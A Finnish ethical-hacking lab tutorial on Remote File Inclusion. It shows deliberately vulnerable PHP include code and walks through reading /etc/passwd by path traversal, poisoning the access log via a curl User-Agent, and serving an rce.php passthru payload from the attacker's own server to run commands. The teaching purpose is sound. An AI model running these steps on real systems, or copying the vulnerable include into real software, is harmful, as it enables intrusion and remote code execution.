Tässä harjoituksessa todennamme RFI-haavoittuvuuden (Remote File Inclusion) kohde sovelluksessa ja hyödynnämme tätä suorittamalla omaa PHP-koodia sovelluksessa. Remote File Inclusion haavoittuvuus on hyvin samanlainen kuin edellisessä moduulissa käsitelty LFI-haavoittuvuus, mutta siinä on se ero, että RFI-haavoittuvuuksissa voimme sisällyttää sivulle PHP-koodia, joka sijaitsee aivan toisessa osoitteessa. Voimme siis tarjoilla omaa PHP-koodia, jonka sovellus sitten suorittaa. Kyseinen haavoittuvuus on huomattavasti harvinaisempi, varsinkin nykypäivänä, mutta myös huomattavasti helpompi hyökkääjän näkökulmasta.
Aloita käynnistämällä alla oleva tehtävä ja suorita vaiheet omassa tahdissasi. Alla myös sovelluksen lähdekoodi, jossa haavoittuvuus sijaitsee.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Mythical Encyclopedia</title>
</head>
<body>
<?php
if (!isset($_GET["country"])) {
include("languages.php");
}
else {
echo "<h1>Mythical Encyclopedia</h1>";
}
if (isset($_GET["country"])) {
$country = $_GET["country"];
if ($country == "us") {
$file = "./us.php";
}
else if ($country == "fr") {
$file = "./fr.php";
}
else if ($country == "fi") {
$file = "./fi.php";
}
else {
$file = $country;
}
include($file);
}
?>
</body>
</html>
Haavoittuvuuden todentaminen
Tämän tehtävän lähdekoodi on melkein sama kuin edellisen, sillä erolla, että tässä tehtävässä, else lausekkeessa emme aseta ./ merkkejä. Labra on myös konfiguroitu sallimaan ulkoiset osoitteet, kun käytetään include-funktiota. Jos kokeilet samaa lähestymistapaa edellisessä tehtävässä, huomaat, ettei ulkoisten osoitteiden käyttäminen ole mahdollista.
Aloitetaan todentamalla, että sama haavoittuvuus löytyy tästäkin sovelluksesta suorittamalla seuraavanlainen kysely.
https://www-xjmryxay62.ha-target.com/index.php?country=../../../../etc/passwd
Hienoa! - Pystymme sisällyttämään minkä tahansa järjestelmässä olevan tiedoston ja lukemaan sen sivulla. Jatketaan seuraavaksi suorittamalla saman LFI hyökkäyksen kuin edellisessä moduulissa. Asetetaan access.log -tiedostoon seuraava PHP-koodi ja sisällytetään kyseinen tiedosto.
PHP-koodi
<?php phpinfo(); ?>
Curl-komento, jolla voi nopeasti injektoida haluamme php-koodi palvelin-lokiin
curl -H "User-Agent: <?php phpinfo(); ?>" https://*.ha-target.com/
Lopuksi sisällytämme access.log tiedoston
phpinfo - funktio palauttaa meille onnistuneesti kyseisen palvelin-instanssin PHP-konfiguraatiot. Tämän avulla voimme tarkastalle, että miten järjestelmän on konfiguroitu ja onkin erittäin hyödyllinen, kun testataan PHP-sovelluksia. Kun on kyse RFI-haavoittuvuuksista, vaatii tämä erityistä konfigurointia järjestelmässä, että voimme sisällyttää PHP-koodia käyttämällä ulkoisia palveluita. Tarkemmin sanottuna, jos haluaa käyttää include - funktiossa URL-osoitteita, vaatii tämä, että konfiguraatio allow_url_include on otettu käyttöön. Tässä tapauksessa tämä pitää paikkansa. Tämä ei kuitenkaan nykyään ole oletuksena päällä.
Haavoittuvuuden hyödyntäminen
Koska voimme syöttää include - funktiolle URL-osoitteita, voimme suorittaa RFI-hyökkäyksen seuraavalla tavalla. Luodaan ensin hyökkääjän terminaalissa tiedosto rce.php ja tallennetaan siihen seuraava PHP-koodi.
<?php echo passthru('id'); ?>
Käynnistetään sitten oma web palvelin, jonka kautta voimme tarjoilla kyseistä tiedostoa. Näin kohde-palvelin kykenee lataamaan tiedoston. (Muista tarkistaa oma IP-osoitteesi)
Lopuksi sisällytämme rce.php tiedoston seuraavalla tavalla.
Voimme nyt lukea lipun /flag.txt. Voit itsenäisesti yrittää luoda interaktiivisen komentoriviyhteyden palvelimelle.
Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.